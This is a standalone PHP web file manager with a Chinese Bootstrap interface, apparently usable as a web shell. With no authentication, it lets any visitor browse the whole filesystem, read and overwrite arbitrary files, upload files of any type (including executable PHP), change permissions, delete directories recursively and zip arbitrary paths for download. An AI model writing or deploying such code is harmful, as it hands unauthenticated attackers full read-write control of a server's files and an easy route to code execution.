<?php

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);

// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);

// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
    set_time_limit(0);

    $timestamp = time();
    $zipFileName = 'selected_' . $timestamp . '.zip';
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    $zip = new ZipArchive();
    if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($_POST['selected_items'] as $item) {
            $path = realpath($item);
            if (!$path || !file_exists($path)) continue;

            if (is_file($path)) {
                $zip->addFile($path, basename($path));
            } elseif (is_dir($path)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($iterator as $file) {
                    $filePath = $file->getRealPath();
                    $localPath = substr($filePath, strlen($dir) + 1);
                    $zip->addFile($filePath, $localPath);
                }
            }
        }
        $zip->close();

        $message = "✅ ZIP 已生成：<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
        $messageType = "success";

    } else {
        $message = "ZIP 打包失败";
        $messageType = "danger";
    }
}


// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
    $zipFileName = basename($_GET['download_zip']);
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    if (file_exists($zipFilePath)) {
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
        header('Content-Length: ' . filesize($zipFilePath));

        $fp = fopen($zipFilePath, 'rb');
        if ($fp) {
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
                flush();
            }
            fclose($fp);
        }
        unlink($zipFilePath);
        exit;
    } else {
        echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
    }
}

// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadFile = $_FILES['file'];
    $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
    if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
        $message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
        $messageType = "success";
    } else {
        $message = "文件上传失败";
        $messageType = "danger";
    }
}

// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
    $name = trim($_POST['new_name']);
    $type = $_POST['new_type'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if ($name !== '') {
        if ($type === 'file') {
            if (file_put_contents($path, '') !== false) {
                $message = "文件创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件创建失败";
                $messageType = "danger";
            }
        } elseif ($type === 'folder') {
            if (mkdir($path)) {
                $message = "文件夹创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件夹创建失败";
                $messageType = "danger";
            }
        }
    } else {
        $message = "名称不能为空";
        $messageType = "warning";
    }
}

// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
    $chmodFile = realpath($_POST['chmod_file']);
    $mode = octdec($_POST['chmod_mode']);
    if ($chmodFile && file_exists($chmodFile)) {
        if (chmod($chmodFile, $mode)) {
            $message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
            $messageType = "success";
        } else {
            $message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) {
        deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
    }
    return rmdir($path);
}

if (isset($_GET['delete'])) {
    $deletePath = realpath($_GET['delete']);
    if ($deletePath && strpos($deletePath, $dir) === 0) {
        if (deleteRecursive($deletePath)) {
            $message = "删除成功: " . htmlspecialchars(basename($deletePath));
            $messageType = "success";
        } else {
            $message = "删除失败: " . htmlspecialchars(basename($deletePath));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 编辑文件（读取内容）
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $editFile = realpath($_GET['edit']);
    if ($editFile && is_file($editFile)) {
        $editContent = file_get_contents($editFile);
    } else {
        $message = "无法编辑该文件";
        $messageType = "danger";
    }
}

// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
    $filePath = realpath($_POST['edit_file']);
    if ($filePath && is_file($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        $message = "文件已保存";
        $messageType = "success";
    } else {
        $message = "无法写入文件";
        $messageType = "danger";
    }
}


// 生成面包屑
function generateBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathAccum = '';
    $breadcrumb = [];
    foreach ($parts as $part) {
        if ($part === '') continue;
        $pathAccum .= DIRECTORY_SEPARATOR . $part;
        $breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
    }
    return implode(" / ", $breadcrumb);
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
    return confirm("确定删除: " + file + " 吗？此操作不可恢复！");
}
</script>
</head>
<body>
<div class="container mt-4">

<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>

<?php if (!empty($message)): ?>
    <div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>

<!-- ✅ 已移除“打包当前目录”按钮 -->

<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
    <input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
    <select name="new_type" class="form-select-sm" required>
        <option value="file">文件</option>
        <option value="folder">文件夹</option>
    </select>
    <button type="submit" class="btn btn-success btn-sm">创建</button>
</form>

<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
    <input type="file" name="file" required>
    <button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>

<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
    <textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
    <div class="d-flex gap-1">
        <button type="submit" class="btn btn-warning btn-sm">保存修改</button>
        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
    </div>
</form>

<?php else: ?>

<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
    <thead class="table-dark">
        <tr>
            <th><input type="checkbox" id="checkAll"></th>
            <th>名称</th>
            <th>类型</th>
            <th>操作</th>
        </tr>
    </thead>
    <tbody>
        <?php
        $parent = dirname($dir);
        if ($parent !== $dir) {
            echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
        }
        foreach ($items as $item) {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            echo "<tr>";
            echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
            if (is_dir($path)) {
                echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
            } else {
                echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
            }
            echo "<td class='d-flex gap-1 align-items-center'>";

            if (is_file($path)) {
                echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
            }

            echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
                <input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
                <input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
                <button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
            </form>";

            echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";

            echo "</td>";
            echo "</tr>";
        }
        ?>
    </tbody>
</table>

<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>

<?php endif; ?>

</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
    document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>
